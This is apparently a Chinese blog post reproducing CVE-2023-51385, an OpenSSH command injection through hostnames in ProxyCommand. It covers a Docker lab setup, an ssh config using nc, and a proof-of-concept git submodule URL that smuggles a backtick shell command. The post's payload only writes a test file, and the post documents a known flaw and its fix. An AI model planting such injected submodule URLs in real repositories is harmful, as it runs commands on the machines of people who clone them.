歌曲封面 未知作品
  • 歌曲封面再回首Mike 曾比特

网站已运行 1 年 55 天 5 小时 6 分

Powered by Typecho & Sunny

2 online · 43 ms

小野博客 小野(Hirono)博客的个人网站,主要讲述关于小野的一些陈芝麻烂谷子事。网络、生活、我的主张,也是一个自留地
Title

【漏洞复现】CVE-2023-51385:OpenSSH命令注入

小野

·

Article

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

简介

OpenSSH 是 SSH 协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如telnet、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。

漏洞概述

漏洞编号:CVE-2023-51385
在 OpenSSH 9.6 之前的版本中,如果用户名或主机名含有 shell 元字符,并且含有特殊元字符的名称通过一个扩展标记(%s或%h)被引用,就会导致命令注入。例如,一个不可信的 Git 仓库可以有一个子模块,其用户名或主机名中包含 shell 元字符。

受影响版本

. OpenSSH ≤ 9.6

测试环境搭建

  1. git 下载源码:
♾️ shell 代码:
    git clone https://github.com/openssh/openssh-portable.git
  1. 切换到V_9_5_P1的版本:
♾️ shell 代码:
git checkout tags/V_9_5_P1 -b v9.5-exploit
  1. 写一个Dockerfile来编译并运行sshd:
♾️ shell 代码:
# 使用Ubuntu 20.04作为基础镜像            
FROM ubuntu:20.04            

# 安装必要的依赖            
RUN apt-get update && apt-get install -y \                build-essential zlib1g-dev libssl-dev libpam0g-dev libselinux1-dev autoconf \             git            

# 设置环境变量,避免在安装软件包过程中出现交互式提示            ENV DEBIAN_FRONTEND=noninteractive            

# 创建特权分离的用户 
sshd            
RUN groupadd sshd && \ 
useradd -r -g sshd -d /var/empty -s /sbin/nologin sshd && \
mkdir /var/empty && \
chmod 711 /var/empty && \
chown root:sshd /var/empty                            

# 创建 SSH 用户目录            
RUN mkdir /var/run/sshd            

# 添加新用户并设置密码            
RUN useradd -m fatmo && echo "fatmo:666666" | chpasswd            
# RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config            

# 清理apt缓存和临时文件            
RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*            

# 设置工作目录            
WORKDIR /usr/src/openssh-exploit            

# 挂载本地的OpenSSH源码目录            
VOLUME ["/usr/src/openssh-portable"]            

# 暴露SSH端口            
EXPOSE 22            

# 容器启动时的命令            
CMD ["sh", "-c", "autoreconf -fvi && ./configure --prefix=/usr/local --sysconfdir=/usr/local/etc --with-pam --with-md5-passwords && make && make install && /usr/local/sbin/sshd -D -e -f /usr/local/etc/sshd_config"]            

# 重置环境变量            
ENV DEBIAN_FRONTEND=dialog
  1. 其中VOLUME ["/root/openssh-portable"],用来挂载git clone在本地的OpenSSH    然后在Dockerfile同目录下建立起镜像:
♾️ shell 代码:
    docker build -t openssh_exploit .
  1. 然后可以拉起容器了,注意不要映射端口,把服务暴露出去,把/root/openssh-portable换成本地OpenSSH源码目录:
♾️ shell 代码:
    docker run -v /root/openssh-exploit:/usr/src/openssh-exploit -d --name openssh_exploit openssh_exploit
  1. 用这条命令确定容器的ip,就可以连接了
♾️ shell 代码:
    docker inspect -f 'range.NetworkSettings.Networks}{{end}}' openssh_exploit

漏洞复现

. 打开ssh配置:~/.ssh/config,加入以下内容:

♾️ shell 代码:
    host *.example.com              
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

. git clone poc(原poc是针对OSX,我复现的环境是Ubuntu,因此我fort了一份修改为Ubuntu版本的Poc):

♾️ shell 代码:
    git clone https://github.com/fatmo666/poc-proxycommand-vulnerable-ubuntu.git --recurse-submodules
♾️ shell 代码:
[submodule "cves"]                      
path = cves                       
url = ssh://`echo fatmo > exploit.txt`foo.example.com/bar

执行后会在clone的目录下生成文件exploit.txt,内容为fatmo

修复方式

升级到OpenSSH ≥ 9.6的版本。    

现在已有 0 条评论,6 人点赞
小野
Comment
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主